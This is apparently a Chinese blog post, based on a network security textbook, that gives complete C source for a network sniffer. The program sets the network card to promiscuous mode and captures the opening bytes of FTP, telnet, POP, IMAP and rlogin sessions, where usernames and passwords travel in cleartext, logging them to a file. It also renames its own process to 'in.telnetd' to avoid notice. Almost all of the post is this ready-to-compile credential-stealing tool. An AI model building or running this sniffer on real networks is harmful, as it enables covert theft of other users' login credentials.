参考陈兵老师的《网络安全》一书
环境:kali linux+gcc 6.xx
具体的实现原理是,先将自己的网卡设置为混杂模式,然后从特殊的套接字中读取以太网帧,对读取的以太帧进行筛选、去报头。得到我们想要的数据。
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#include<ctype.h>
#include<netdb.h>
#include<sys/file.h>
#include<sys/time.h>
#include<time.h>
#include<sys/socket.h>
#include<sys/ioctl.h>
#include<sys/signal.h>
#include<net/if.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>
#include<netinet/if_ether.h>
#define CAPLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"
struct etherpacket{
struct ethhdr eth;//以太网帧的头部
struct iphdr ip;//IP报头
struct tcphdr tcp;//tcp报头
char buff[8192];//数据
}ep;
struct{
unsigned long saddr;//源地址
unsigned long daddr;//目标地址
unsigned short sport;//源端口
unsigned short dport;//目标端口
int bytes_read;
char active;//目标主机是否处于活跃状态
time_t start_time;
}victim;
struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;
int openintf(char *);
void clear_victim(void);
void cleanup(int);
char *hostlookup(unsigned long int);
int print_header(void);
int read_tcp(int);
int filter(void){//对读取的以太帧进行筛选
int p=0;
if(ip->protocol!=6)
return 0;
if(victim.active!=0)
if(victim.bytes_read>CAPLEN){
fprintf(fp,"\n-- -- - [CAPLEN Exceeded]\n");
clear_victim();
return 0;
}
if(victim.active!=0)
if(time(NULL)>(victim.start_time+TIMEOUT)){
fprintf(fp,"\n-- -- - [Time Out]\n");
return 0;
}
int dest=ntohs(tcp->dest);
//ntohs(),将网络字节序转换为十进制字节序
if(dest==21||dest==23||dest==110||dest==109||dest==143||dest==513||dest==106)
p=1;
if(victim.active==0)
if(p=1)
if(tcp->syn==1){
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest!=victim.dport)
return 0;
if(tcp->source!=victim.sport)
return 0;
if(ip->saddr!=victim.saddr)
return 0;
if(ip->daddr!=victim.daddr)
return 0;
if(tcp->rst==1){
victim.active=0;
alarm(0);
fprintf(fp,"\n-- -- -[RST]\n");
clear_victim();
return 0;
}
if(tcp->fin==1){
victim.active=0;
alarm(0);
fprintf(fp,"\n-- -- - [FIN]\n");
clear_victim();
return 0;
}
return 1;
}
int read_tcp(int a){
int x;
while(1){
x=read(s,(struct etherpacket*)&ep,sizeof(ep));
//read(),从目标文件中读取以太网帧
if(x>1){
if(filter()==0)
continue;
x-=54;
if(x<1)
continue;
return x;
}
}
}
int print_header(void){
fprintf(fp,"\n");
fprintf(fp,"%s=>",hostlookup(ip->saddr));
fprintf(fp,"%s[%d]\n",hostlookup(ip->daddr),ntohs(tcp->dest));
}
int print_data(int datalen,char *data){
int i=0;
int t=0;
victim.bytes_read+=datalen;
for(i=0;i!=datalen;i++){
if(data[i]==13){
fprintf(fp,"\n");
t=0;
}
if(isprint(data[i])){
fprintf(fp,"%c",data[i]);
t++;
}
if(t>75){
t=0;
fprintf(fp,"\n");
}
}
}
char *hostlookup(unsigned long int in){
static char blah[1024];
struct in_addr i;
struct hostent *he;
i.s_addr=in;
he=gethostbyaddr((char *)&i,sizeof(struct in_addr),AF_INET);
//获取IP对应目标主机的主机名
if(he==NULL)
strcpy(blah,inet_ntoa(i));
else strcpy(blah,he->h_name);
return blah;
}
void clear_victim(void){
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
void cleanup(int sig){
fprintf(fp,"Exiting..\n");
close(s);
fclose(fp);
exit(0);
}
int openintf(char *d){
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET,SOCK_PACKET,htons(0x800));
//SOCK_PACKET用于获取以太网帧的套接字
if(fd<0){
perror("can't get SOCK_PACKET");
exit(0);
}
strcpy(ifr.ifr_name,d);
s=ioctl(fd,SIOCGIFFLAGS,&ifr);
//I/O管道控制函数
if(s<0){
close(fd);
perror("can't get flags");
exit(0);
}
ifr.ifr_flags|=IFF_PROMISC;
s=ioctl(fd,SIOCSIFFLAGS,&ifr);
if(s<0)
perror("can't set promiscuous mode");
return fd;
}
int main(int argc,char *argv[]){
sprintf(argv[0],"%s","in.telnetd");
s=openintf("eth0");
ip=(struct iphdr*)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr*)(((unsigned long)&ep.tcp)-2);
if(argc==2)
fp=stdout;
else fp=fopen(TCPLOG,"at");
if(fp==NULL){
fprintf(stderr,"can't open log\n");
exit(0);
}
clear_victim();
for(;;){
read_tcp(s);
if(victim.active!=0)
print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),ep.buff-2);
sleep(1);
fflush(fp);
}
return 0;
}